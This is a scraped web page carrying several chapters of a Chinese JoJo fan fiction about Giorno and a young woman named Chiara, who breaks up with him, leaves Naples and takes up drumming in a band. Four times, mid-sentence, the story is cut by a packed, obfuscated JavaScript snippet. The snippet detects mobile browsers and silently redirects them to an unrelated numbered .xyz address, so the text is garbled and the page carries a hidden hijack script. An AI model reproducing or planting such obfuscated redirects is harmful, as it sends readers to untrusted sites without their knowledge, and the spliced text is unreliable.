35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215208|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 能力升级以后,乔鲁诺还可以使触碰到的人,无限的陷入某种死亡轮回之中。 因为过分强悍的替身能力,乔鲁诺已经很长一段时间没有遇到过对手了。 就算有不长眼地叫嚣着要冲上来成为他对手的人,很快也会在他的能力中灰飞烟灭。 这次也不例外。 乔鲁诺根本没有怎么出手,那些不久前还自以为握住了他的把柄,闹着要和他【平等】交易的混混们,一下子就都倒在了他随行来的部下手里。 ……这些人的水平,甚至根本等不到乔鲁诺出手。 可是往往就是这些人,会给他带来无穷无尽的麻烦。 从交易地点轻轻地将高烧加重、昏迷不醒的琪亚拉抱回车上,试探性地询问了黄金体验能不能用特殊能力治疗好琪亚拉、却得到否定答复的乔鲁诺,再次被忧愁席卷。 他叹息着,将自己的额头贴上尚在梦中的琪亚拉额头。 “我到底该不该放手呢……琪亚拉……你一定会希望我离开吧,毕竟你那么早就计划着与我的分别。” “你正在做梦吗?梦到了什么?梦中会有我的存在吗?” “你记得去往学校路上的那片海吗?……虽然我们在正式建立关系以前,只见过那两面、交谈过那两次,可是我们一起看过很多遍那片海,你总是会在车上唱歌……你总是一边跳下去、一边和我说,再见。” 我真的很想和你再见。 再见一次,再见一次。 今天见过面了,明天也要再见。 但是人和人就是这样,见面的时候稀松平常,告别以后忽然就再也见不到了,甚至关于过去的零碎记忆和细微情绪,都要一点一点从时空的缝隙里抠出来。 如果这次真的放手说了再见,真的还会有再相见的一天吗? ……乔鲁诺最后将琪亚拉交付给了菲奥娜。 毕竟她的身份光明磊落,而他自己的身份却经不起细细推敲。 加入【热情】,他从不后悔,他只是遗憾自己追爱道路的坎坷。 “所以,你能给我建议吗,布加拉提?” 乔鲁诺最后还是征求了布加拉提的想法。 “我认为你们的思考方式都太单向,”而布加拉提说,“虽然你是【热情】现任BOSS,可另一点来说,也正因如此,你才具备充分能够保护她的条件和力量,就像当初我为了父亲的安全而努力一样。” 阿帕基瞪大了眼睛,纳兰伽也张大了嘴,即便是乔鲁诺,这时也感到些微的惊讶。 ……他们都只顾着思考身份地位的不利之处,却忽略了这个身份的优势。 “我很惊讶你和琪亚拉的故事,也很感动你愿意信任我,寻求我的意见。”布加拉提又道,“但是,我不是你们俩人中的任何一人,故事的走向,还是由你们自己来抉择吧。问问你的心,乔鲁诺,你是怎么想的?你打算就这么为了困难而屈服吗?还是要将心爱的人置于险地?” 要回答这个问题,势必就要考虑到自己对琪亚拉的心意。 乔鲁诺想要仔细权衡利弊,可是一瞬间,他脑子里闪过的只有海浪的声音。 十来岁的青春年少,他迫于贫穷进行无证驾驶,满腔热血却寻求不到实现理想的途径,未来一片迷雾。 琪亚拉朝他招招手,他们共同驶向了洒满阳光的沿海公路,一路上海浪刷刷的为飞鸟的鸣叫伴奏,琪亚拉坐在窗户旁,轻轻哼着歌。 他不记得她都哼了些什么,只记得海浪的声音,一潮又一潮,响亮得惊人,就像他现在的心跳。 “我想要和她走下去。” 梦想之外,她是他最后的静谧所在。 20.20 特里休不知道从哪里听说了我生病的消息,特地来看望我。 但是我已经出院了。 毕竟并不是什么严重的病情,只是发烧晕过去了而已,打针以后很快就恢复了。 “哎?”得知情况,特里休很是难过,“可是我刚到医院门口呢……我还给你带了礼物。” 我犹豫了一下:“这样吗……” 其实我也才刚离开医院不久。 “其实我今天打算回家一趟,”最后,我和特里休说,“你专门为了我过来,把你一个人扔下,我会很不好意思,如果不介意的话,你想和我一起回家吗?” 特里休沉默住了。 我静静地等待了一会儿,才得到她语气不太坚定的反问:“你家里都有些什么人?” “这个时间的话,”我想了想,“应该只有管家他们在吧。” 特里休又沉默了一会儿,然后很艰难地道:“好吧,那你顺路过来接我吧。我有些话想和你说呢。” 我说好的,挂断电话,然后开始问之前联系过的朋友,是否准备好出手特里休想要的包。 朋友说已经准备好了,她家正好也在我回家的方向上,我想带着特里休顺便去把包拿了。 真不错,今天一天能干完好多事情呢。 不枉我厚着脸皮和布加拉提又要了一天假期。 …… 因为住处离咖啡店说远不远,说近不近,所以我其实很少开车。 上次参加布加拉提的生日会的时候,也觉得开车很麻烦,索性联系了司机载我过去。 但是考虑到今天的行程比较特别,加上还要去接特里休,所以我久违地拿出了车钥匙。 然后—— 意料之中的,路途到一半,我就已经违反了好几条行车规范。 估计再开几次,我的驾驶分就能被全部扣光了。 好熟悉的画面,大学的时候我就因为分数被扣光,参加过一次驾照的重考。 ……所以开车真的很麻烦。 我明明真的很认真地在开,但总是不知道为什么被扣分。 不过好在我开车还是很稳当的,至少不会发生安全事故。 “……琪亚拉,”就在我这么想的时候,特里休的声音从一旁传了出来,“你又超速了。” 我震惊:“啊?是吗?” 她叹气:“嗯,而且刚才那个路口是禁止转弯的。你没看见标志吗?” 我慢慢减速:“哈哈哈……太复杂了。搞不懂呢。没关系的特里休,至少我没有往人行道上开。” 特里休于是绝望地问我:“谁会往人行道上开啊?再离谱也要有个度吧!” “说不定真的有呢……” 就这么有一搭没一搭地聊了一会儿,我到朋友家门口停下,把约定好的、特里休想要的包包拿到手。 在我回到车上以前,朋友问我:“琪亚拉,你到底是跑到哪个国家去了?我们都很久没见到你了。” 我支吾了一下,扯开话题:“最近有点忙。” 过去的朋友期待地又问道:“那你这几天有空吗?我们正在计划一场派对……我和辛尼娅他们合作开了一家工作室呢。或许你能抽出时间来参加我们的开业派队。” “恭喜你们,我会考虑的。” 敷衍地带过了这个话题,我赶紧回到车上。 特里休接过包包,打开包装,爱不释手地仔仔细细检查了一遍,顺口问道: “你怎么了?你看起来不太高兴。” “嗯……”我犹豫了一下,斟酌着回答,“因为见到了以前的朋友,发现大家都变得好不一样,但是好像又只有这样才是正常的。” 特里休眨眨眼睛,直接提问:“你在说什么?” 我紧握着方向盘: “我上大学的时候,学的是服装设计。我的妈妈在这个领域有一些朋友,他们一起给我规划了未来的路线,等我毕业之后,他们就会送我到有名的公司去丰富简历。” ……我还没有开始找工作,她已经把我五年内的简历内容都想好了。五年之后,她还要投资我成立个人工作室。就像我朋友们现在在做的那样。” 我很少和人说起这些。 因为这些“甜蜜的烦恼”对于很多人来说,听起来像是炫耀。 可是不知道为什么,我直觉特里休会认真倾听我的烦恼,并且能够理解我。 “哦,那太可怕了,”特里休果然说,“她完全不相信你,不给你选择的余地。” 我笑了笑:“而且她做这些,不是因为我喜欢这个行业,也不是因为我有天赋,而是她觉得……她有个朋友的孩子对这一行很感兴趣,她想撮合我们。” 失败的婚姻是母亲最大的心结,所以她很早就给我物色了她觉得合适的婚姻对象,时尚公司的幼子。 他们巧合之下相识,母亲把他邀请到家里作客,我像被装饰过的礼品无所适从地坐在自己家里的餐厅中,忍受着对方评判的目光。 我长得还不错,加上家庭情况的陪衬和母亲的大力推销,男人觉得勉强可以接受。 他提出的唯一要求就是希望我的能力出众,实在不行就只是名声响亮也可以,毕竟他的身份肯定会经常登上媒体新闻,他不希望未来妻子给他丢脸。 于是母亲就给我制订了毕业后五年的工作计划,详细到哪个时间点分别在哪家公司、哪位大咖身边获得何等荣誉与晋升。 特里休若有所思:“原来还有这样的家人。” “我从小就跟着妈妈长大,她对我很好,基本不干涉我的任何决定,但是会和我说明白什么是对的什么是错的。” 特里休也说起了自己的故事。 “后来她去世了,去世以前才告诉我我的爸爸在哪里。我想知道是什么样的人能够迷倒她,所以就去找那个人了,结果发现人和人之间不是有血缘关系就能亲近的。” “我看得出来你对自己的决定感到愧疚,你不想离开家,但是你又不愿意回去。所以才会有这个表情,对吧?”她接着转向我,认真地建议,“我过去曾经感到迷茫的时候,布加拉提和我说过,他会全力支持我去过自己喜欢的生活,他对纳兰伽他们也是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247708|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的。琪亚拉,我现在把这句话送给你。虽然我个人的能力很小,但我能找到值得信赖的朋友帮助你,你去过自己喜欢的生活吧。不要愧疚。” …… 没想到会被比自己小的女孩子安慰了。 我朝着特里休笑了笑。 汽车最后在庄园车库停下,如我所料,家里只有管家等人。 我拜托他不要把我回来的消息告诉母亲,回来之前我就做好准备了,管家对我向来很宽容,果然这次他也睁一只眼闭一只眼地让我蒙混过关了。 我到房间里收拾了一些东西,特里休坐在我的书柜旁,抱着一本校园相册看到不亦乐乎。 她甚至还掏出手机来拍了一张,我吓了一跳:“怎么了?” 特里休偷笑:“看到认识的人了!” 我:“……啊?这么巧?是谁?” 她说不告诉我。 好吧,我继续收拾。 我平时很懒,就算在庄园里,也不爱出门,所以为了避免来回走动,我在房间里堆了很多东西。 书柜、小提琴、竖笛……各种各样的玩具和衣服首饰。 特里休不久就对相册感到腻味,跟在我背后好奇地看我收拾东西,一旦发现她似乎对什么感兴趣,我就把那样东西直接塞到她手里: “你需要吗?” 特里休也不客气,大方地直接收下了:“你这里有好多好东西!” 我笑:“嗯。至少在这些方面,我从来没有受过苦,倒不如说出去工作的这些日子已经是我在物质上吃过最大的苦了。” 特里休好像听到了什么好笑的笑话一样,笑了起来: “怪不得。” 我:“?” “你听说过青蛙变王子的故事吗?”特里休却不解答,只另外开了一个话题,兴致满满,“你能想象到,有一个连吃冰淇淋都要算计着折扣优惠的家伙,一夜之间突然成为意大利几乎最富有的阶级之一,是一种什么感觉吗?……他会慢慢觉得,自己以前得不到的东西,现在全都触手可及。” 她戳了戳我的脸颊: “琪亚拉,你的故事很有趣,不管是哪一方面——但是,同为女性,我为你感到惋惜。离开布加拉提的咖啡店吧,或者像你朋友的猜测那样,离开意大利,你完全有这个条件和能力。” “你是怎么知道我们说了什么的?”我感觉到古怪,“你当时不是在车上吗?” “秘密,不告诉你——”特里休比了个噤声的手势,“这是我的特殊能力。” “我还知道,”她又小声道,“你有个男朋友,他今天本来想接你出院,但是被你拒绝了,对不对?” “……你在医院遇见他了?”这是我唯一能想出来的解释。 “再说下去就违背我的原则了。”特里休坐直了身子,“我只能说,看清楚未来的路吧,琪亚拉,现在到处都在物价飞涨,你却还在原地不动呢。依赖家人是行不通的——依赖布加拉提或者你的新男友也是,快点自己行动起来。” “这段话免费送给你,算是对你帮我买包的谢礼。” 21.21 老实说,我搞不太懂特里休突然和我说这番话的用意。 但是她确实引起了我的一些思考。 我不可能依靠布加拉提的好心,一直在咖啡店进行工作,只是我一时之间想不到,离开了咖啡店,我还能去哪里呢? 自己开一家店吗? 其实我也没那么喜欢这份工作。 这样的思考持续了一阵子,我把特里休送回了她的住处后,自己一个人回到家的时候,还沉浸在这个问题里。 手机铃声响了起来,是工作忙碌的母亲终于注意到了我曾经回过家的痕迹,特地通话过来质问我为何如此行事: “你还要闹到什么时候,琪亚拉?我们对你还不够好吗?你完全不在乎我们的感受!” “抱歉,妈妈,这样做的确有些自私。”我说,“但是我喜欢这样。” 母亲絮絮叨叨了一通,发现我油盐不进,于是气冲冲地把电话挂断了。 我没有在意,事到如今,我怎么可能还在意这些呢? 所以我很快就放下了手机,继续收拾从庄园里带回来的东西。 ……其实也没带回来什么。 一切完成以后,我坐在窗边,对着窗户发了会儿呆。 乔鲁诺的信息在这个时候传了过来,他问我现在能否见面。 “对不起,乔鲁诺。”而我说,“我在想,我们其实对对方都并不是很了解……” 斟酌了一下用语,好在现在是在使用短信,他看不见我脸上的犹豫,我也不会感到过分羞愧与尴尬。 酝酿好说辞,我接着说: “昨天的事情以后,我在想,我们近期还是不要见面了吧。我只是一个普通人,如果昨天的事情再次发生,我甚至不知道该怎么保证自己的安全。……你知道我在说什么吧?” 菲奥娜在医院对我发出过一次警告以后就没有再出现了,我想她肯定很忙,所以没有再打扰她。 但实际上,我已经决定采纳她的建议,对这段发生的莫名其妙的恋情提高警惕。 菲奥娜要是知道了,大概会很高兴吧。 乔鲁诺没有生气也没有质问为什么,他只平静地问: “我们能出来见面再谈吗?” “目前来说,不行,”我回答,“我今天太累了。” 他很体贴地说了好。 我又对着窗户发了一会儿呆。 今天的天空还是很蓝,和我当初从家里逃出来、去上学的路上,看到的一样。 但是我已经回不去了。 “布加拉提,”然后我又打开了通讯录,这次怀抱着真挚的歉意,道,“非常抱歉,由于一些个人问题,我想向您申请辞职。” ……哎。 今天怎么净是跟人道歉了? 真是的。 …… 变故来的猝不及防,乔鲁诺本来以为他还有时间。 就如他接手【热情】的时候,面对的是满地的烂摊子,那时候他虽然有压力,但也相信之后的日子总会变好的,他可以改变这一切。 他相信他也能改变自己和琪亚拉之间尴尬的状态,他能让她慢慢放下戒心,他能处理掉一切对她不安的因素。 可是琪亚拉却推翻了一切,她突然需要和他保持距离,并且辞去了咖啡店的工作,乔鲁诺不再能寻找到她的踪迹。 一切都和很多年前的故事那样重新发生,一切都在重蹈覆辙。 他惊讶地发现自己竟然陷入了某种【命运的轮回】之中,而讽刺的是,他自己的替身正好拥有类似于【命运轮回】之类的能力。 “特里休,”迫于无奈,乔鲁诺只能求助于另一个朋友,问道,“你是最后一个见到琪亚拉的,你知道发生了什么吗?” 琪亚拉三天前不幸遇到了【热情】的对手,遭到绑架,第二天她就和乔鲁诺表达了对自身安全的忧虑,说暂时不想看见乔鲁诺。 乔鲁诺虽然表示理解,但还是忍不住驱车去看了琪亚拉。 但是她已经不在房间里了,也不在工作的地方。 那通电话以后,琪亚拉就收拾了行李,离开了那不勒斯。 乔鲁诺试图追查她的下落,但是如果动用【热情】的势力,这件事情就会闹大,他还不想这么做。 这会影响到琪亚拉的生活。 可是如果不借用【热情】的力量……这件事情就会有点麻烦,虽然最后他肯定能解决,但是乔鲁诺不可抑制地对此感到倦乏。 “我吗?”特里休指了指自己,然后可疑地把目光转移开来了,嘴里咕哝着什么,“嗯,她那天的话……” 乔鲁诺一下就打起了精神,特里休的表现明显是知道些什么。 往最坏的方向想,琪亚拉的突然消失说不定还和她有关系。 “你告诉她关于我的事情了吗?”乔鲁诺直接问道。 特里休立刻为这个猜想感到冒犯:“怎么可能?你怎么能那样想?我是绝对不会做这种事情的!” 她气呼呼的。 乔鲁诺感到尴尬,这回移开眼睛的轮到他了:“啊,那可能是我太敏感了,不好意思特里休。” “不过,”见乔鲁诺道歉,特里休反倒有些不好意思地卷了卷自己的头发,“可能确实……我知道点一些消息。” 她一五一十地把琪亚拉那天告诉自己的、关于家庭的故事转述给了乔鲁诺。 然后偷偷看了眼乔鲁诺看不出情绪变化的脸色,把自己对琪亚拉的劝告也说了出来。 “其实见到她的时候,我就在想,这么漂亮的一个女孩子,看上去却总是对什么都满不在乎的样子……她好像过得很辛苦,所以就忍不住和她说了这些。对不起啊乔鲁诺,我也没想到她会突然一下就把什么都丢掉,自己跑了。” 不过一想到琪亚拉当初正是突然抛下了母亲的期望,不顾一切地藏在布加拉提的咖啡店里,一切似乎也情有可原。 琪亚拉其实就是这样的性格,她其实很在意自己的感受和对自由的追求。 乔鲁诺叹了口气。 特里休像小猫一样整个人都往上提了起来—— 见到她似乎有点应激,乔鲁诺赶紧安慰她:“没事的,特里休。这次的事情和你没有关系,是我当初想的太简单了……现在想想,琪亚拉本来也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247709|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有真的爱上我。如果连咖啡店的工作都留不下她,我又有什么筹码呢?” 他微微地笑了笑,特里休愧疚的情绪稍微平复了一些,但是很快的,看着乔鲁诺苦涩的笑意,她又难免开始替他感到失落与难过。 “……哦,天啊,别这么说乔鲁诺。你其实还是挺有魅力的,没必要这么贬低自己。” 从异性的角度夸赞认识已久的老友,这种不适感让特里休起了一身鸡皮疙瘩,但她还是硬着头皮把话说完了,然后就尴尬得想找个地缝钻进去。 只要乔鲁诺想,他总是能默默照顾到身边的人,但这一次,很明显,他的心有点乱。 所以面对特里休明显的牺牲与尴尬,他只再次露出一个淡的几乎要看不见的笑意,就没有任何表示了。 乔鲁诺离开了。 留下特里休一个人在原地走也不是,不走也不是,最后只能假装自己有事要忙,在原地转了几圈,然后扭头也离开了。 ……终于能够一个人独处,乔鲁诺坐回了汽车的驾驶位上,从胸前解开一个造型精巧的瓢虫徽章,然后将它放在掌心中,一错不错地看着它。 上次和特里休面对面的时候,是特里休和纳兰伽结伴跑到他的学校去找他。 他带着他们简单参观了自己参加的实验室项目,结果不小心把自己的徽章落在了实验室里,等他想起来的时候,这枚不知道怎么被黄金体验实体化的徽章很委屈。 他接回这可怜的徽章,才模糊地感知到,琪亚拉后来好像也去到了那个实验室,并且在害怕昆虫的学生想要消灭徽章的时候,拦下那些人,主动提出要将昆虫化的徽章放生。 一直以来都是这样,乔鲁诺发现自己和琪亚拉之间的很多行事习惯、性格理念都是如此契合,尽管他们从来没有互相对彼此提出过要求。 他其实没什么耐心,不喜欢在人面前把话重复第二遍;琪亚拉刚好也不喜欢听别人重复发言。 他对不同的生物都保持尊重与点到为止的喜爱,琪亚拉也是如此。 想到之前托特里休的福吃到的手工饼干,乔鲁诺微微叹了口气。 ……她做的饼干也很好吃,他很喜欢。 因为这些细节,一点一滴的侵入生活,不知不觉,他总是在潜意识里觉得他们已经相处很久,他们契合得浑然天成,所以他从来没有设想过琪亚拉真的会有离开自己的一天。 还那么的突然。 虽然他一直知道她对亲密感情感到抗拒,但他以为……自己会稍微有点不一样。 是错觉吗? 如果是的话,他要怎么面对呢? 乔鲁诺把徽章别回了衣服上。 没有时间忧郁下去,【热情】还在等着他回去。 只是,下车之前,乔鲁诺还是忍不住又给琪亚拉发了信息,询问她在哪里。 他知道,自己应该在这个时候做出更多的行动,来挽回琪亚拉的心意。 可是不知道怎么回事,这次他无论如何也想不到自己还能说什么、做什么了。 就像他过去说的那样,琪亚拉掌握着一切,他只能徒劳地在台下等待着她的判决。 22.22 琪亚拉杳无音讯有一阵子了。 准确地说,乔鲁诺只是没能联系上她—— 每隔一阵子,他还是能找到她的蛛丝马迹。 她离开了那不勒斯,她按照计划去给外祖母庆祝了生日,她从一个国家飞到另一个国家,她在路上帮助了一些人们,她似乎找到了新的工作方向…… 但是一切都只是道听途说,乔鲁诺总是没有机会亲眼得见。 他太忙了,而她已经走出去太远,远远超出了他的时间和空间剩余可支配额度所能追踪到的范围。 有时候乔鲁诺还没有完全从工作中脱离出来,突然看见自己压在工作文件底下、关于琪亚拉的资料时,会突然一阵恍惚。 她多么像是他幻想出来的一场梦……或许她并不存在。 他们真的曾经交谈过、曾经处在同一屋檐下吗? 这些问题在脑海中闪回的频率越来越高,琪亚拉这个名字也越来越陌生。 直到琪亚拉几乎要彻底淡出他生活的某一天,乔鲁诺收到了久违的回信——琪亚拉终于在聊天界面和他提出了分手。 尘埃落定。 那种不真实的感觉反而终于消退了。 乔鲁诺总是堵在心头的一口气散了。 “你决心如此,并且没有改变的余地了,”但是,他还是对她提出了问题,“对吗?” “抱歉。”琪亚拉这么回答道。 这段来得迅猛的恋情于是也这么猝不及防地突然迎来了终结。 琪亚拉其实并不确定自己刚刚做出的决定是否正确。 但是,当她将自己分手的信息通过网络分享给菲奥娜的时候,对方明显很支持她的举动。 “太好了,琪亚拉,这绝对是一个你不会后悔的决定!” “……我不知道能不能就此认同你的看法,菲奥娜。”但是,琪亚拉却这么叹了口气,她总是像碎钻一样折射的光芒的眼眸,被低垂的眼睫所掩盖。 菲奥娜看着她的侧脸,惊讶地发现琪亚拉此刻的神态,像极了那个只和自己有过几面之缘的金发男人。 即便行动上保持了距离,在心灵上,她的好友仍然在接近那个男人。 ……没有读心术,所以也理所当然地并不清楚菲奥娜在想些什么的琪亚拉,自顾自地把话说了下去。 “当我真正和他提出告别的时候,我突然觉得很迷茫。我不确定我想要的到底是什么了。”琪亚拉道。 菲奥娜敏锐地从这番话语当中嗅到了危险的气味。 她难免警惕起来,整张脸上都挂上紧张而狐疑的神态。 “什么意思?”菲奥娜问道,“你不是说你想找到只属于自己的路吗?” “可是,在那条属于我的道路上,真的只能有我一个人吗?”琪亚拉反问。 菲奥娜瞪圆了眼睛,即便两人之间现在隔着屏幕对话,她还是忍不住对着手机龇牙咧嘴了好一会儿,无声地对好友的“可怕”念头进行抗议: “那当然啦!现在大家不都在追求独立吗?男人有什么了不起的?” 更何况是那样一个家伙。 回忆了一番乔鲁诺的身份,菲奥娜搓了搓自己手上冒出来的鸡皮疙瘩。 她到现在还没找到机会和琪亚拉好好谈一谈这件事情,也没想好到底要不要开口。 不过,琪亚拉现在都分手了,不谈也可以吧? 抱着这样的想法,菲奥娜将关于自己了解到的、乔鲁诺身份的信息,一笔带过了。 …… 离开那不勒斯的日子,琪亚拉探索过很多种生活的方式。 她尝试去做过去自己一直没试过做的事情,在街头弹唱、乘坐火车在意大利之间徘徊,无偿为人画画、在花店卖花,在码头等候游客当导游……但是很遗憾,没有一种生活能让她感到满足,她总是觉得心里空落落的,像少了什么。 怎么办呢?又是怎么回事呢? 琪亚拉自己无法解决这个问题,菲奥娜给出的答案又总是让她不满意,其他的朋友交浅言亦浅,琪亚拉找不到一个可以求助的对象。 如果非要说有这么一个可以咨询的人,那或许是布加拉提。 而巧合的是,琪亚拉很快收到了布加拉提的问好。 “亲爱的琪亚拉,你已经离开有一阵子了。我发这封消息给你,是想确认你是否一切都好?你离开前说自己想要去探索世界,不知道现在是否有了收获。作为你的朋友,我很期望能够得到你的回复。” 布加拉提发来信息的时候,琪亚拉刚找到一个临时键盘手的工作,她在街边角落不起眼的位置发现了一则简陋的需求,乡镇乐队的键盘手突然生了病,夜晚的演出急需一位英雄救场。 琪亚拉还没有参加过乐队,她兴致勃勃地发送了申请,期待这次尝试之后生活会有点什么不一样。 面试很快就举行并且通过了。 乐队主唱和吉他手一开始对琪亚拉的音乐技术不抱期待,他们潦草地想着就算凭这张脸也可以暂平观众的怒火,录用琪亚拉是个勉强可以妥协的方案…… 然后琪亚拉娴熟的弹奏就瞬间改变了他们的想法,她的弹奏虽然算不上惊才绝艳,但放在组合中却绝对够用了。 琪亚拉就这么再一次地找到了新的工作,只是上岗期短得可怜,只有两个晚上,但是没关系,这足够她去确认自己是否喜欢参加乐队了。 她将这事告诉了布加拉提。布加拉提回答说,恭贺你,祝愿你能真正找到自己想要的东西,如果需要帮助,可以尽管来找我。 琪亚拉笑:“你太好了,布加拉提。” 两人的对话点到为止,谁也没有往下接着说下去,就像他们从医院认识到现在,一直以来那样。 …… 乐队演出的地方并没有多少观众。 琪亚拉不在意这些,她认真地做好了准备,当舞台升起,就尽全力进行演奏。 遗憾的是,这个乐队的风格和她并不契合,琪亚拉一边觉得乐队演出很有意思,炫目的灯光,集体的协作,还有现场的反馈…… 但是另一方面,她又总觉得哪里不对,指尖流泻出音符的动作很僵硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258102|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己格格不入。 不过除了她自己以外,没有人这么想。 演出完美落幕,乐队成员们互相击掌、拥抱、鼓励,琪亚拉跟着也稍微地开心了起来。 第二天,演出继续,这次到场的人数竟然比昨天要多,成员们对此嘀嘀咕咕了一番,含糊地说出一些猜测: 或许是因为他们进步了,或许是他们更换了成员,引起了观众的新鲜感…… 琪亚拉在这个过程中一言不发,任由其他成员目光在自己身上若有似无地流连,她有一种模糊的认识,观众的增加和她的确脱离不开关系,但是由自己站出来坦率地承认这一点也太奇怪了。 琪亚拉选择了沉默。 这一晚的演出结束后,清算完报酬,按照最开始说好的约定,琪亚拉就应该离开了。 然而,乐队的负责人却让琪亚拉留了下来,额外和她多交谈了一会儿。 “我看过你的自我介绍,你学习过很多乐器,那么上手别的乐器应该也不难?我认识一个乐队,他们正在找鼓手……” 就这样,琪亚拉稀里糊涂地开始学架子鼓,赶鸭子上架地转型。 她有过疑惑,与其费力地教自己敲鼓,何不如直接去找现成的、擅长架子鼓的其他人呢? 负责人却笃定地说,琪亚拉有天赋。 而奇妙的是,当离开了与自己相伴多年的黑白琴键和坚硬琴弦,转而握住两根小木棍以后,琪亚拉竟然在舞台上找到了她在其他地方遍寻不到的归属感。 她无端确信,这就是她一直以来在寻找的东西。 “亲爱的布加拉提先生,”于是琪亚拉在又一次的练习后,给布加拉提致信,“距离上次联系已经过去有些时日了,我很高兴地告诉您,我幸运地找到了自己的热爱所在,并且,不久后,我可能要重新返回那不勒斯。感谢您一直以来对我的支持,今后您不必再为我挂心了。” ……和布加拉提一起阅读着琪亚拉的来信,特里休不由得发出了疑问: “为什么琪亚拉不回复乔鲁诺的信息,却偏偏回复你的呢,布加拉提?” 她的神情跟着微妙起来,布加拉提连忙澄清:“可能只是我们认识得更久,她觉得我们更加熟悉吧!” “……哦,”特里休不知道有没有接受这个答案,但不管怎么样,她是没有再进行追问了,“那我们要不要告诉乔鲁诺?他最近总是有点怪怪的。” “你觉得他们真的适合在一起吗?”布加拉提却提出疑问,“我不了解他们发生了什么,但我一直在想,他们真的有把彼此放在心上吗?” 不告而别的琪亚拉,镇定如常的乔鲁诺。 无论从哪个角度看,这两个人好像都和对方不熟悉,如果不是身边的朋友们都信誓旦旦,布加拉提无法想象他们曾经有过一段恋情。 什么是爱,他们又爱上了对方什么?他们两个愿意为了理想或梦想抛弃一切,又能为这份所谓的爱意牺牲多少? “……先不要告诉乔鲁诺吧,一切都还有待观察,我们就不要插手了。”布加拉提总结。 23.第 23 章 并不清楚自己的事情竟然引起了这么多人的关注,琪亚拉这些日子一直在专心练习乐器。 她基础很好,上手很快,邀请她加入的乐队原本只是死马当作活马医,但看着琪亚拉的进步,忽然就理解了另一个乐队的负责人为什么非要把琪亚拉推荐给他们了。 “你简直像是专业的,帅呆了!”他们这么称赞琪亚拉。 琪亚拉挑眉:“你们不是专业的吗?” 队员们面面相觑了一会儿,惭愧地诚实道: “我们都只是爱好,算是业余吧。” 琪亚拉笑:“这可不是前辈该说的话。” 大家也跟着笑起来。 等他们都笑完以后,琪亚拉宣布: “过两天我要回那不勒斯一趟,我会在第一次演出开始以前赶回来的。” “不着急,我们的鼓手还没完全退役呢。”成员安慰琪亚拉。 “是我自己想赶回来看演出。”琪亚拉却道。 这下大家没法说什么了。 琪亚拉这次回那不勒斯是去收拾房子的,她已经决定暂时搬离意大利,到另一个国家发展。 在回程的路上,她遇到一对东西方结合的夫妇。 来自意大利的丈夫看上去已经有些苍老暴躁,来自东亚的妻子却依旧青春美丽,在机舱里无所顾忌地施展自己的魅力。 飞机座位一排三个,琪亚拉正好坐在他们外侧。 女人当着丈夫的面,越过她,和过道另一边的陌生男人聊天,聊得浑然忘我。 ……如果她有罪。 琪亚拉万念俱灰地想。 应该让法律惩罚她,而不是让她夹杂在这对夫妇和妻子的“男小三”中间,被迫卷入修罗场。 但是不得不说,这个女人长得非常美丽。 即便她明显来自另一个民族,也能够触动文化背景截然不同的琪亚拉。 而且,她有一张非常能说善道的嘴。 如果要让琪亚拉从自己认识的人中进行比较,她会说这个东亚女人的花言巧语,要远胜于乔鲁诺.乔巴那。 理由很简单,她在和路人男聊完天以后,又若无其事地转过头去和自己的丈夫调情,并且让丈夫和路人男携手讲和,交换了姓名,做起了好兄弟。 “这趟旅行真不错,对吧,亲爱的?”女人揽着丈夫的手臂,一句一句地给他灌着甜蜜糖浆,“幸亏有你在身边,不然我都不知道该怎么办。” 琪亚拉默默带上了耳机,开始假寐。 但过了不久,女人又把她叫醒,琪亚拉疑问地转过头,她向琪亚拉提出了交换座位的请求。 她希望过道另一边的男人和琪亚拉换位置。 琪亚拉:“……” 夫人,您可真是坦荡啊。 她敬佩地看了这位女士一眼,然后什么也没说,爽快地答应了。 接着琪亚拉再次带上了耳机,一直到飞行结束,旁边奇妙三人组合的声音才再次传入耳中。 “乔巴那先生……” 琪亚拉一个激灵。 她怎么听到了一个熟悉的姓氏? 